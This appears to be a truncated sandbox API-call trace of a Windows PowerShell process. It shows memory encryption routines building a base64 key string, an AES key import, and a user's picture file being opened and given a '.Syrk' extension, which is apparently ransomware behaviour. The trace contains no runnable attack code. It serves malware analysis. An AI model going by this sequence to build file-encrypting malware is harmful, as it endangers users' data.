(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0255.402] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0255.402] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0255.403] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0255.403] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.403] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0255.403] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.403] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0255.403] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0255.403] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.403] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0255.403] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.404] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0255.404] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0255.404] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.404] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0255.404] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.404] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0255.404] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0255.404] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.404] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0255.404] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.404] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0255.404] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0255.404] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.404] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0255.405] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.405] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0255.405] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0255.405] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.405] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0255.405] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.405] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0255.405] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0255.405] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.405] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0255.405] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.405] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0255.405] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0255.405] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.406] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0255.406] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0255.406] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0255.406] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0255.406] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0255.406] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0255.406] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.407] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0255.407] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.407] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0255.407] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0255.407] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.407] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0255.407] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.407] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0255.407] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0255.407] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.407] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0255.407] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.407] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0255.408] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0255.408] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.408] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0255.408] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.408] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0255.408] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0255.408] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.408] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0255.408] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.408] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0255.408] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0255.408] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.409] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0255.409] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.409] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0255.409] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0255.409] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.409] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0255.409] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.409] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0255.409] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0255.409] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.411] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0255.411] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0255.411] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0255.411] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0255.411] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0255.412] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0255.412] SystemFunction041 (in: Memory=0x3af8ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af8ac) returned 0x0 [0255.412] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0255.412] SystemFunction040 (in: Memory=0x3af8ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af8ac) returned 0x0 [0255.412] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0255.412] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0255.412] SystemFunction041 (in: Memory=0x3af8ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af8ac) returned 0x0 [0255.413] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0255.413] SystemFunction040 (in: Memory=0x3af8ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af8ac) returned 0x0 [0255.413] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0255.413] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0255.413] SystemFunction041 (in: Memory=0x3af8ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af8ac) returned 0x0 [0255.413] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0255.413] SystemFunction040 (in: Memory=0x3af8ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af8ac) returned 0x0 [0255.413] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0255.413] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0255.413] SystemFunction041 (in: Memory=0x3af8ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af8ac) returned 0x0 [0255.413] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0255.413] SystemFunction040 (in: Memory=0x3af8ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af8ac) returned 0x0 [0255.413] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0255.413] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0255.414] SystemFunction041 (in: Memory=0x3af8ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af8ac) returned 0x0 [0255.414] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0255.414] SystemFunction040 (in: Memory=0x3af8ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af8ac) returned 0x0 [0255.414] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0255.414] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0255.414] SystemFunction041 (in: Memory=0x3af8ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af8ac) returned 0x0 [0255.414] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0255.414] SystemFunction040 (in: Memory=0x3af8ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af8ac) returned 0x0 [0255.414] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0255.414] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0255.414] SystemFunction041 (in: Memory=0x3af8ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af8ac) returned 0x0 [0255.414] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0255.414] SystemFunction040 (in: Memory=0x3af8ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af8ac) returned 0x0 [0255.415] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0255.415] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0255.415] SystemFunction041 (in: Memory=0x3af8ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af8ac) returned 0x0 [0255.415] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0255.415] SystemFunction040 (in: Memory=0x3af8ac, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af8ac) returned 0x0 [0255.415] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0255.415] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0255.415] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0255.416] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0255.416] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0255.416] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0255.416] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0255.416] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0255.416] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0255.416] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0255.416] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0255.416] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0255.416] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0255.416] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0255.416] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0255.416] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0255.416] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0255.417] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0255.417] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0255.417] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0255.417] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0255.417] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0255.417] EtwEventActivityIdControl () returned 0x0 [0255.417] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0255.417] SystemFunction041 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0255.417] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0255.417] SystemFunction040 (in: Memory=0x5c9325c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9325c) returned 0x0 [0255.419] CryptAcquireContextW (in: phProv=0x5a2e630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e630*=0x5c4cdd0) returned 1 [0255.421] CryptImportKey (in: hProv=0x5c4cdd0, pbData=0x24a3c0c*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea1c | out: phKey=0x5a2ea1c*=0x5c99520) returned 1 [0255.421] CryptContextAddRef (hProv=0x5c4cdd0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0255.421] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.421] EtwEventActivityIdControl () returned 0x0 [0255.422] EtwEventActivityIdControl () returned 0x0 [0255.422] EtwEventActivityIdControl () returned 0x0 [0255.427] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\uz- c.gif")) returned 0x20 [0255.428] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\uz- c.gif")) returned 0x20 [0255.428] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x26 [0255.428] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif", nBufferLength=0x26, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif", lpFilePart=0x0) returned 0x25 [0255.429] EtwEventActivityIdControl () returned 0x0 [0255.429] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.429] EtwEventActivityIdControl () returned 0x0 [0255.429] EtwEventActivityIdControl () returned 0x0 [0255.429] EtwEventActivityIdControl () returned 0x0 [0255.430] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x26 [0255.430] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif", nBufferLength=0x26, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif", lpFilePart=0x0) returned 0x25 [0255.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0255.431] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\uz- c.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x364 [0255.431] GetFileType (hFile=0x364) returned 0x1 [0255.431] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0255.431] GetFileType (hFile=0x364) returned 0x1 [0255.431] EtwEventActivityIdControl () returned 0x0 [0255.432] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.432] EtwEventActivityIdControl () returned 0x0 [0255.432] EtwEventActivityIdControl () returned 0x0 [0255.432] EtwEventActivityIdControl () returned 0x0 [0255.433] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0255.433] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\uZ- c.gif.Syrk", nBufferLength=0x2b, 